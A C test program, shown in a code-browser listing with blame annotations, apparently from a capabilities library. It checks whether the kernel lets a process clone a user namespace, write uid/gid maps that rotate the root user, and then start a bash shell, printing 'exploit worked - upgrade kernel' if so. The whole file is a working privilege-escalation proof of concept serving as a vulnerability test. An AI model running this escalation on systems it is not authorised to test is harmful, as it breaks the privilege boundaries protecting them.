1*2810ac1bSKiyoung Kim /*
2*2810ac1bSKiyoung Kim * Try unsharing where we remap the root user by rotating uids (0,1,2)
3*2810ac1bSKiyoung Kim * and the corresponding gids too.
4*2810ac1bSKiyoung Kim */
5*2810ac1bSKiyoung Kim
6*2810ac1bSKiyoung Kim #define _GNU_SOURCE
7*2810ac1bSKiyoung Kim
8*2810ac1bSKiyoung Kim #include <errno.h>
9*2810ac1bSKiyoung Kim #include <sched.h>
10*2810ac1bSKiyoung Kim #include <stdio.h>
11*2810ac1bSKiyoung Kim #include <stdlib.h>
12*2810ac1bSKiyoung Kim #include <string.h>
13*2810ac1bSKiyoung Kim #include <sys/capability.h>
14*2810ac1bSKiyoung Kim #include <sys/mman.h>
15*2810ac1bSKiyoung Kim #include <sys/prctl.h>
16*2810ac1bSKiyoung Kim #include <sys/wait.h>
17*2810ac1bSKiyoung Kim #include <unistd.h>
18*2810ac1bSKiyoung Kim
19*2810ac1bSKiyoung Kim #define STACK_RESERVED 10*1024
20*2810ac1bSKiyoung Kim
21*2810ac1bSKiyoung Kim struct my_pipe {
22*2810ac1bSKiyoung Kim int to[2];
23*2810ac1bSKiyoung Kim int from[2];
24*2810ac1bSKiyoung Kim };
25*2810ac1bSKiyoung Kim
child(void * data)26*2810ac1bSKiyoung Kim static int child(void *data) {
27*2810ac1bSKiyoung Kim struct my_pipe *fdsp = data;
28*2810ac1bSKiyoung Kim static const char * const args[] = {"bash", NULL};
29*2810ac1bSKiyoung Kim
30*2810ac1bSKiyoung Kim close(fdsp->to[1]);
31*2810ac1bSKiyoung Kim close(fdsp->from[0]);
32*2810ac1bSKiyoung Kim if (write(fdsp->from[1], "1", 1) != 1) {
33*2810ac1bSKiyoung Kim fprintf(stderr, "failed to confirm setuid(1)\n");
34*2810ac1bSKiyoung Kim exit(1);
35*2810ac1bSKiyoung Kim }
36*2810ac1bSKiyoung Kim close(fdsp->from[1]);
37*2810ac1bSKiyoung Kim
38*2810ac1bSKiyoung Kim char datum[1];
39*2810ac1bSKiyoung Kim if (read(fdsp->to[0], datum, 1) != 1) {
40*2810ac1bSKiyoung Kim fprintf(stderr, "failed to wait for parent\n");
41*2810ac1bSKiyoung Kim exit(1);
42*2810ac1bSKiyoung Kim }
43*2810ac1bSKiyoung Kim close(fdsp->to[0]);
44*2810ac1bSKiyoung Kim if (datum[0] == '!') {
45*2810ac1bSKiyoung Kim /* parent failed */
46*2810ac1bSKiyoung Kim exit(0);
47*2810ac1bSKiyoung Kim }
48*2810ac1bSKiyoung Kim
49*2810ac1bSKiyoung Kim setsid();
50*2810ac1bSKiyoung Kim
51*2810ac1bSKiyoung Kim execv("/bin/bash", (const void *) args);
52*2810ac1bSKiyoung Kim perror("execv failed");
53*2810ac1bSKiyoung Kim exit(1);
54*2810ac1bSKiyoung Kim }
55*2810ac1bSKiyoung Kim
main(int argc,char ** argv)56*2810ac1bSKiyoung Kim int main(int argc, char **argv)
57*2810ac1bSKiyoung Kim {
58*2810ac1bSKiyoung Kim static const char *file_formats[] = {
59*2810ac1bSKiyoung Kim "/proc/%d/uid_map",
60*2810ac1bSKiyoung Kim "/proc/%d/gid_map"
61*2810ac1bSKiyoung Kim };
62*2810ac1bSKiyoung Kim static const char id_map[] = "0 1 1\n1 2 1\n2 0 1\n3 3 49999997\n";
63*2810ac1bSKiyoung Kim cap_value_t fscap = CAP_SETFCAP;
64*2810ac1bSKiyoung Kim cap_t orig = cap_get_proc();
65*2810ac1bSKiyoung Kim cap_flag_value_t present;
66*2810ac1bSKiyoung Kim
67*2810ac1bSKiyoung Kim if (cap_get_flag(orig, CAP_SYS_ADMIN, CAP_EFFECTIVE, &present) != 0) {
68*2810ac1bSKiyoung Kim perror("failed to read a capability flag");
69*2810ac1bSKiyoung Kim exit(1);
70*2810ac1bSKiyoung Kim }
71*2810ac1bSKiyoung Kim if (present != CAP_SET) {
72*2810ac1bSKiyoung Kim fprintf(stderr,
73*2810ac1bSKiyoung Kim "environment missing cap_sys_admin - exploit not testable\n");
74*2810ac1bSKiyoung Kim exit(0);
75*2810ac1bSKiyoung Kim }
76*2810ac1bSKiyoung Kim
77*2810ac1bSKiyoung Kim /* Run with this one lowered */
78*2810ac1bSKiyoung Kim cap_set_flag(orig, CAP_EFFECTIVE, 1, &fscap, CAP_CLEAR);
79*2810ac1bSKiyoung Kim
80*2810ac1bSKiyoung Kim struct my_pipe fds;
81*2810ac1bSKiyoung Kim if (pipe(&fds.from[0]) || pipe(&fds.to[0])) {
82*2810ac1bSKiyoung Kim perror("no pipes");
83*2810ac1bSKiyoung Kim exit(1);
84*2810ac1bSKiyoung Kim }
85*2810ac1bSKiyoung Kim
86*2810ac1bSKiyoung Kim char *stack = mmap(NULL, STACK_RESERVED, PROT_READ|PROT_WRITE,
87*2810ac1bSKiyoung Kim MAP_ANONYMOUS|MAP_PRIVATE|MAP_STACK, -1, 0);
88*2810ac1bSKiyoung Kim if (stack == MAP_FAILED) {
89*2810ac1bSKiyoung Kim perror("no map for stack");
90*2810ac1bSKiyoung Kim exit(1);
91*2810ac1bSKiyoung Kim }
92*2810ac1bSKiyoung Kim
93*2810ac1bSKiyoung Kim if (cap_setuid(1)) {
94*2810ac1bSKiyoung Kim perror("failed to cap_setuid(1)");
95*2810ac1bSKiyoung Kim exit(1);
96*2810ac1bSKiyoung Kim }
97*2810ac1bSKiyoung Kim
98*2810ac1bSKiyoung Kim if (cap_set_proc(orig)) {
99*2810ac1bSKiyoung Kim perror("failed to raise caps again");
100*2810ac1bSKiyoung Kim exit(1);
101*2810ac1bSKiyoung Kim }
102*2810ac1bSKiyoung Kim
103*2810ac1bSKiyoung Kim pid_t pid = clone(&child, stack+STACK_RESERVED, CLONE_NEWUSER|SIGCHLD, &fds);
104*2810ac1bSKiyoung Kim if (pid == -1) {
105*2810ac1bSKiyoung Kim perror("clone failed");
106*2810ac1bSKiyoung Kim exit(1);
107*2810ac1bSKiyoung Kim }
108*2810ac1bSKiyoung Kim
109*2810ac1bSKiyoung Kim close(fds.from[1]);
110*2810ac1bSKiyoung Kim close(fds.to[0]);
111*2810ac1bSKiyoung Kim
112*2810ac1bSKiyoung Kim if (cap_setuid(0)) {
113*2810ac1bSKiyoung Kim perror("failed to cap_setuid(0)");
114*2810ac1bSKiyoung Kim exit(1);
115*2810ac1bSKiyoung Kim }
116*2810ac1bSKiyoung Kim
117*2810ac1bSKiyoung Kim if (cap_set_proc(orig)) {
118*2810ac1bSKiyoung Kim perror("failed to raise caps again");
119*2810ac1bSKiyoung Kim exit(1);
120*2810ac1bSKiyoung Kim }
121*2810ac1bSKiyoung Kim
122*2810ac1bSKiyoung Kim char datum[1];
123*2810ac1bSKiyoung Kim if (read(fds.from[0], datum, 1) != 1 || datum[0] != '1') {
124*2810ac1bSKiyoung Kim fprintf(stderr, "failed to read child status\n");
125*2810ac1bSKiyoung Kim exit(1);
126*2810ac1bSKiyoung Kim }
127*2810ac1bSKiyoung Kim close(fds.from[0]);
128*2810ac1bSKiyoung Kim
129*2810ac1bSKiyoung Kim int i;
130*2810ac1bSKiyoung Kim for (i=0; i<2; i++) {
131*2810ac1bSKiyoung Kim char *map_file;
132*2810ac1bSKiyoung Kim if (asprintf(&map_file, file_formats[i], pid) < 0) {
133*2810ac1bSKiyoung Kim perror("allocate string");
134*2810ac1bSKiyoung Kim exit(1);
135*2810ac1bSKiyoung Kim }
136*2810ac1bSKiyoung Kim
137*2810ac1bSKiyoung Kim FILE *f = fopen(map_file, "w");
138*2810ac1bSKiyoung Kim free(map_file);
139*2810ac1bSKiyoung Kim if (f == NULL) {
140*2810ac1bSKiyoung Kim perror("fopen failed");
141*2810ac1bSKiyoung Kim exit(1);
142*2810ac1bSKiyoung Kim }
143*2810ac1bSKiyoung Kim int len = fwrite(id_map, 1, strlen(id_map), f);
144*2810ac1bSKiyoung Kim if (len != strlen(id_map)) {
145*2810ac1bSKiyoung Kim goto bailok;
146*2810ac1bSKiyoung Kim }
147*2810ac1bSKiyoung Kim if (fclose(f)) {
148*2810ac1bSKiyoung Kim goto bailok;
149*2810ac1bSKiyoung Kim }
150*2810ac1bSKiyoung Kim }
151*2810ac1bSKiyoung Kim
152*2810ac1bSKiyoung Kim if (write(fds.to[1], ".", 1) != 1) {
153*2810ac1bSKiyoung Kim perror("failed to write '.'");
154*2810ac1bSKiyoung Kim exit(1);
155*2810ac1bSKiyoung Kim }
156*2810ac1bSKiyoung Kim close(fds.to[1]);
157*2810ac1bSKiyoung Kim
158*2810ac1bSKiyoung Kim fprintf(stderr, "user namespace launched exploit worked - upgrade kernel\n");
159*2810ac1bSKiyoung Kim if (wait(NULL) == pid) {
160*2810ac1bSKiyoung Kim exit(1);
161*2810ac1bSKiyoung Kim }
162*2810ac1bSKiyoung Kim perror("launch failed");
163*2810ac1bSKiyoung Kim exit(1);
164*2810ac1bSKiyoung Kim
165*2810ac1bSKiyoung Kim bailok:
166*2810ac1bSKiyoung Kim fprintf(stderr, "exploit attempt failed\n");
167*2810ac1bSKiyoung Kim if (write(fds.to[1], "!", 1) != 1) {
168*2810ac1bSKiyoung Kim perror("failed to inform child [ignored]");
169*2810ac1bSKiyoung Kim }
170*2810ac1bSKiyoung Kim exit(0);
171*2810ac1bSKiyoung Kim }
172